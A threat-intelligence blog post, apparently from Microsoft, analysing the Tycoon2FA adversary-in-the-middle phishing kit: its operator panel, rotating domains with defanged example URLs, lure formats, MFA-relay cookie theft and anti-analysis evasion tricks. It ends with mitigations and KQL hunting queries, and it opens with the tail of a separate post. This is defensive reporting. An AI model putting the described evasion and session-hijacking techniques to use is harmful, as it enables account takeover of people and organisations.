| where isempty(AadDeviceId)
| project Timestamp,IPAddress, AccountObjectId, ApplicationId, SessionId, RiskLevelDuringSignIn, Browser

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following hunting queries can also be found in the Microsoft Defender portal for customers who have Microsoft Defender XDR installed from the Content Hub, or accessed directly from GitHub.

• Spoof and impersonation phish detections

References

• https://www.anthropic.com/news/disrupting-AI-espionage

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post AI as tradecraft: How threat actors operationalize AI appeared first on Microsoft Security Blog.

Following its emergence in August 2023, Tycoon2FA rapidly became one of the most widespread phishing-as-a-service (PhaaS) platforms, enabling campaigns responsible for tens of millions of phishing messages reaching over 500,000 organizations each month worldwide. The phishing kit—developed, supported, and advertised by the threat actor tracked by Microsoft Threat Intelligence as Storm-1747—provided adversary-in-the-middle (AiTM) capabilities that allowed even less skilled threat actors to bypass multifactor authentication (MFA), significantly lowering the barrier to conducting account compromise at scale.

Tycoon2FA’s platform enabled threat actors to impersonate trusted brands by mimicking sign-in pages for services like Microsoft 365, OneDrive, Outlook, SharePoint, and Gmail. It also allowed threat actors using its service to establish persistence and to access sensitive information even after passwords are reset, unless active sessions and tokens were explicitly revoked. This worked by intercepting session cookies generated during the authentication process, simultaneously capturing user credentials. The MFA codes were subsequently relayed through Tycoon2FA’s proxy servers to the authenticating service.

To evade detection, Tycoon2FA used techniques like anti-bot screening, browser fingerprinting, heavy code obfuscation, self-hosted CAPTCHAs, custom JavaScript, and dynamic decoy pages. Targets are often lured through phishing emails containing attachments like .svg, .pdf, .html, or .docx files, often embedded with QR codes or JavaScript.

This blog provides a comprehensive up-to-date analysis of Tycoon2FA’s progression and scale. We share specific examples of the Tycoon2FA service panel, including a detailed analysis of Tycoon2FA infrastructure. Defending against Tycoon2FA and similar AiTM phishing threats requires a layered approach that blends technical controls with user awareness. This blog also provides Microsoft Defender detection and hunting guidance, as well as resources on how to set up mail flow rules, enforce spoof protections, and configure third-party connectors to prevent spoofed phishing messages from reaching user inboxes.

Operational overview of Tycoon2FA

Tycoon2FA customer panel

Tycoon2FA phishing services were advertised and sold to cybercriminals on applications like Telegram and Signal. Phish kits were observed to start at $120 USD for access to the panel for 10 days and $350 for access to the panel for a month, but these prices could vary.

Tycoon2FA is operated through a web‑based administration panel provided on a per user basis that centrally integrates all functionality provided by the Tycoon 2FA PhaaS platform. The panel serves as a single dashboard for configuring, tracking, and refining campaigns. While it does not include built‑in mailer capabilities, the panel provides the core components needed to support phishing campaigns. This includes pre‑built templates, attachment files for common lure formats, domain and hosting configuration, redirect logic, and victim tracking. This design makes the platform accessible to less technically skilled actors while still offering sufficient flexibility for more experienced operators.

After signing in, Tycoon2FA customers are presented with a dashboard used to configure, monitor, and manage phishing campaigns. Campaign operators can configure a broad set of campaign parameters that control how phishing content is delivered and presented to targets. Key settings include lure template selection and branding customization, redirection routing, MFA interception behavior, CAPTCHA appearance and logic, attachment generation, and exfiltration configuration. Campaign operators can choose from highly configurable landing pages and sign-in themes that impersonate widely trusted services such as Microsoft 365, Outlook, SharePoint, OneDrive, and Google, increasing the perceived legitimacy of attacks.

Campaign operators can also configure how the malicious content is delivered through attachments. Options include generating EML files, PDFs, and QR codes, offering multiple ways to package and distribute phishing lures.

The panel also allows operators to manage redirect chains and routing logic, including the use of intermediate pages and decoy destinations. Support for automated subdomain rotation and intermediary Cloudflare Workers-based URLs enables campaigns to adapt quickly as infrastructure is identified or blocked. The following is a visual example of redirect and routing options, including intermediate pages and decoy destinations used within a phishing campaign.

Once configured, these settings control the appearance and behavior of the phishing pages delivered to targets. The following examples show how selected themes (Microsoft 365 and Outlook) are rendered as legitimate-looking sign-in pages presented to targets.

Beyond campaign configuration, the panel provides detailed visibility into victim interaction and authentication outcomes. Operators can track valid and invalid sign-in attempts, MFA usage, and session cookie capture, with victim data organized by attributes such as targeted service, browser, location, and authentication status. Captured credentials and session cookies can be viewed or downloaded directly within the panel and/or forwarded to Telegram for near‑real‑time monitoring. The following image shows a summary view of victim account outcomes for threat actors to review and track.

Captured session information including account attributes, browsers and location metadata, and authentication artifacts are exfiltrated through Telegram bot.

In addition to configuration and campaign management features, the panel includes a section for announcements and updates related to the service. These updates reflect regular maintenance and ongoing changes, indicating that the service continues to evolve.

By combining centralized configuration, real-time visibility, and regular platform updates, the service enables scalable AiTM phishing operations that can adapt quickly to defensive measures. This balance of usability, adaptability, and sustained development has contributed to Tycoon2FA’s adoption across a wide range of campaigns.

Tycoon2FA infrastructure

Tycoon2FA’s infrastructure has shifted from static, high-entropy domains to a fast-moving ecosystem with diverse top-level domains (TLDs) and short-lived (often 24-72 hours) fully qualified domain names (FQDNs), with the majority hosted on Cloudflare. A key change is the move toward a broader mix of TLDs. Early tracking showed heavier use of regional TLDs like .es and .ru, but recent campaigns increasingly rotated across inexpensive generic TLDs that require little to no identity verification. Examples include .space, .email, .solutions, .live, .today, and .calendar, as well as second-level domains such as .sa[.]com, .in[.]net, and .com[.]de.

Tycoon2FA generated large numbers of subdomains for individual phishing campaigns, used them briefly, then dropped them and spun up new ones. Parent root domains might remain registered for weeks or months, but nearly all campaign-specific FQDNs were temporary. The rapid turnover complicated detection efforts, such as building reliable blocklists or relying on reputation-based defenses.

Subdomain patterns have also shifted toward more readable formats. Instead of high entropy or algorithmically generated strings, like those used in July 2025, newly observed subdomains used recognizable words tied to common workflows or services, like those observed in December 2025.

July 2025 campaign URL structure examples:

• hxxps://qonnfp.wnrathttb[.]ru/Fe2yiyoKvg3YTfV!/$EMAIL_ADDRESS
• hxxps://piwf.ariitdc[.]es/kv2gVMHLZ@dNeXt/$EMAIL_ADDRESS
• hxxps://q9y3.efwzxgd[.]es/MEaap8nZG5A@c8T/*EMAIL_ADDRESS
• hxxps://kzagniw[.]es/LI6vGlx7@1wPztdy

December 2025 campaign URL structure examples:

• hxxps://immutable.nathacha[.]digital/T@uWhi6jqZQH7/#?EMAIL_ADDRESS
• hxxps://mock.zuyistoo[.]today/pry1r75TisN5S@8yDDQI/$EMAIL_ADDRESS
• hxxps://astro.thorousha[.]ru/vojd4e50fw4o!g/$ENCODED EMAIL_ADDRESS
• hxxps://branch.cricomai[.]sa[.]com/b@GrBOPttIrJA/*EMAIL_ADDRESS
• hxxps://mysql.vecedoo[.]online/JB5ow79@fKst02/#EMAIL_ADDRESS
• hxxps://backend.vmfuiojitnlb[.]es/CGyP9!CbhSU22YT2/

Some subdomains resembled everyday processes or tech terms like cloud, desktop, application, and survey, while others echoed developer or admin vocabulary like python, terminal, xml, and faq. Software as a service (SaaS) brand names have appeared in subdomains as well, such as docker, zendesk, azure, microsoft, sharepoint, onedrive, and nordvpn. This shift was likely used to reduce user suspicion and to evade detection models that rely on entropy or string irregularity.

Tycoon2FA’s success stemmed from closely mimicking legitimate authentication processes while covertly intercepting both user credentials and session tokens, granting attackers full access to targeted accounts. Tycoon2FA operators could bypass nearly all commonly deployed MFA methods, including SMS codes, one-time passcodes, and push notifications. The attack chain was typical yet highly effective and started with phishing the user through email, followed by a multilayer redirect chain, then a spoofed sign-in page with AiTM relay, and authentication relay culminating in token theft.

Tycoon2FA phishing emails

In observed campaigns, threat actors gained initial access through phishing emails that used either embedded links or malicious attachments. Most of Tycoon2FA’s lures fell into four categories:

• PDF or DOC/DOCX attachments with QR codes
• SVG files containing embedded redirect logic
• HTML attachments with short messages
• Redirect links that appear to come from trusted services

Email lures were crafted from ready-made templates that impersonated trusted business applications like Microsoft 365, Azure, Okta, OneDrive, Docusign, and SharePoint. These templates spanned themes from generic notifications (like voicemail and shared document access) to targeted workflows (like human resources (HR) updates, corporate documents, and financial statements). In addition to spoofing trusted brands, phishing emails often leveraged compromised accounts with existing threads to increase legitimacy.

While Tycoon2FA supplied hosting infrastructures, along with various phishing and landing page related templates, email distribution was not provided by the service.

Defense evasion

From a defense standpoint, Tycoon2FA stood out for its continuously updated evasion and attack techniques. A defining feature was the use of constantly changing custom CAPTCHA pages that regenerated frequently and varied across campaigns. As a result, static signatures and narrowly scoped detection logic became less effective over time. Before credentials were entered, targets encounter the custom CAPTCHA challenge, which was designed to block automated scanners and ensure real users reach the phishing content. These challenges often used randomized HTML5 canvas elements, making them hard to bypass with automation. While Cloudflare Turnstile was once the primary CAPTCHA, Tycoon2FA shifted to using a rotating set of custom CAPTCHA challenges. The CAPTCHA acted as a gate in the flow, legitimizing the process and nudging the target to continue.

After the CAPTCHA challenge, the user was shown a dynamically generated sign-in portal that mirrored the targeted service’s branding and authentication flow, most often Microsoft or Gmail. The page might even include company branding to enhance legitimacy. When the user submitted credentials, Tycoon2FA immediately relayed them to the real service, triggering the genuine MFA challenge. The phishing page then displayed the same MFA prompt (for example, number matching or code entry). Once the user completed MFA, the attacker captured the session cookie and gained real-time access without needing further authentication, even if the password was changed later. These pages were created with heavily obfuscated and randomized JavaScript and HTML, designed to evade signature-based detection and other security tools.

The phishing kit also disrupted analysis through obfuscation and dynamic code generation, including nonfunctional dead code, to defeat consistent fingerprinting. When the campaign infrastructure encountered an unexpected or invalid server response (for example, a geolocation outside the allowed targeting zone), the kit replaced phishing content with a decoy page or a benign redirect to avoid exposing the live credential phishing site.

Tycoon2FA further complicated investigation by actively checking for analysis of environments or browser automation and adjusting page behavior if detected. These evasive measures included:

• Intercepting user input
  • Keystroke monitoring
  • Blocking copy/paste and right click functions
• Detecting or blocking automated inspection
  • Automation tools (for example, PhantomJS, Burp Suite)
  • Disabling common developer tool shortcuts
• Validating and filtering incoming traffic
  • Browser fingerprinting
  • Datacenter IP filtering
  • Geolocation restrictions
  • Suspicious user agent profiling
• Increased obfuscation
  • Encoded content (Base64, Base91)
  • Fragmented or concatenated strings
  • Invisible Unicode characters
  • Layered URL/URI encoding
  • Dead or nonfunctional script

If analysis was suspected at any point, the kit redirected to a legitimate decoy site or threw a 404 error.

Complementing these anti-analysis measures, Tycoon2FA used increasingly complex redirect logic. Instead of sending victims directly to the phishing page, it chained multiple intermediate hosts, such as Azure Blob Storage, Firebase, Wix, TikTok, or Google resources, to lend legitimacy to the redirect path. Recent changes combined these redirect chains with encoded Uniform Resource Identifier (URI) strings that obscured full URL paths and landing points, frustrating both static URL extraction and detonation attempts. Stacked together, these tactics made Tycoon2FA a resilient, fast-moving system that evaded both automated and manual detection efforts.

Credential theft and account access

Captured credentials and session tokens were exfiltrated over encrypted channels, often via Telegram bots. Attackers could then access sensitive data and establish persistence by modifying mailbox rules, registering new authenticator apps, or launching follow-on phishing campaigns from compromised accounts. The following diagram breaks down the AiTM process.

Tycoon2FA illustrated the evolution of phishing kits in response to rising enterprise defenses, adapting its lures, infrastructure, and evasion techniques to stay ahead of detection. As organizations increasingly adopt MFA, attackers are shifting to tools that target the authentication process itself instead of attempting to circumvent it. Coupled with affordability, scalability, and ease of use, Tycoon2FA posed a persistent and significant threat to both consumer and enterprise accounts, especially those that rely on MFA as a primary safeguard.

Mitigation and protection guidance

Mitigating threats from phishing actors begins with securing user identity by eliminating traditional credentials and adopting passwordless, phishing-resistant MFA methods such as FIDO2 security keys, Windows Hello for Business, and Microsoft Authenticator passkeys.

Microsoft Threat Intelligence recommends enforcing phishing-resistant MFA for privileged roles in Microsoft Entra ID to significantly reduce the risk of account compromise. Learn how to require phishing-resistant MFA for admin roles and plan a passwordless deployment.

Passwordless authentication improves security as well as enhances user experience and reduces IT overhead. Explore Microsoft’s overview of passwordless authentication and authentication strength guidance to understand how to align your organization’s policies with best practices. For broader strategies on defending against identity-based attacks, refer to Microsoft’s blog on evolving identity attack techniques.

If Microsoft Defender alerts indicate suspicious activity or confirmed compromised account or a system, it’s essential to act quickly and thoroughly. The following are recommended remediation steps for each affected identity:

1. Reset credentials – Immediately reset the account’s password and revoke any active sessions or tokens. This ensures that any stolen credentials can no longer be used.
2. Re-register or remove MFA devices – Review users’ MFA devices, specifically those recently added or updated.
3. Revert unauthorized payroll or financial changes – If the attacker modified payroll or financial configurations, such as direct deposit details, revert them to their original state and notify the appropriate internal teams.
4. Remove malicious inbox rules – Attackers often create inbox rules to hide their activity or forward sensitive data. Review and delete any suspicious or unauthorized rules.
5. Verify MFA reconfiguration – Confirm that the user has successfully reconfigured MFA and that the new setup uses secure, phishing-resistant methods.

To defend against the wide range of phishing threats, Microsoft Threat Intelligence recommends the following mitigation steps:

• Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365.
• Configure Microsoft Defender for Office 365 to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow, and time-of-click verification of URLs and links in email messages, other Microsoft 365 applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links used in phishing and other attacks.
• Turn on Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly-acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attack tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants
• Use the Attack Simulator in Microsoft Defender for Office 365 to run realistic, yet safe, simulated phishing and password attack campaigns. Run spear-phishing (credential harvest) simulations to train end-users against clicking URLs in unsolicited messages and disclosing credentials.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Configure Microsoft Entra with increased security.
• Pilot and deploy phishing-resistant authentication methods for users.
• Implement Entra ID Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

Additionally, using Microsoft Defender for Cloud Apps connectors, Microsoft Defender XDR raises AiTM-related alerts in multiple scenarios. For Microsoft Entra ID customers using Microsoft Edge, attempts by attackers to replay session cookies to access cloud applications are detected by Microsoft Defender XDR through Defender for Cloud Apps connectors for Microsoft Office 365 and Azure. In such scenarios, Microsoft Defender XDR raises the following alerts:

• Stolen session cookie was used
• User compromised through session cookie hijack

Microsoft Defender XDR raises the following alerts by combining Microsoft Defender for Office 365 URL click and Microsoft Entra ID Protection risky sign-ins signal.

• Possible AiTM phishing attempt
• Risky sign-in attempt after clicking a possible AiTM phishing URL

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Actor profile: Storm-1747
• Tool profile: Tycoon2FA
• Technique profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Advanced hunting

Microsoft Defender customers can run the following advanced hunting queries to find activity associated with Tycoon2FA.

Suspicious sign-in attempts

Find identities potentially compromised by AiTM attacks:

AADSignInEventsBeta
| where Timestamp > ago(7d)
| where IsManaged != 1
| where IsCompliant != 1
//Filtering only for medium and high risk sign-in
| where RiskLevelDuringSignIn in (50, 100)
| where ClientAppUsed == "Browser"
| where isempty(DeviceTrustType)
| where isnotempty(State) or isnotempty(Country) or isnotempty(City)
| where isnotempty(IPAddress)
| where isnotempty(AccountObjectId)
| where isempty(DeviceName)
| where isempty(AadDeviceId)
| project Timestamp,IPAddress, AccountObjectId, ApplicationId, SessionId, RiskLevelDuringSignIn, Browser

Suspicious URL clicks from emails

Look for any suspicious URL clicks from emails by a user before their risky sign-in:

UrlClickEvents
| where Timestamp between (start .. end) //Timestamp around time proximity of Risky signin by user
| where AccountUpn has "" and ActionType has "ClickAllowed"
| project Timestamp,Url,NetworkMessageId

References

• Tycoon 2FA Malware Analysis, Overview by ANY.RUN

Learn more

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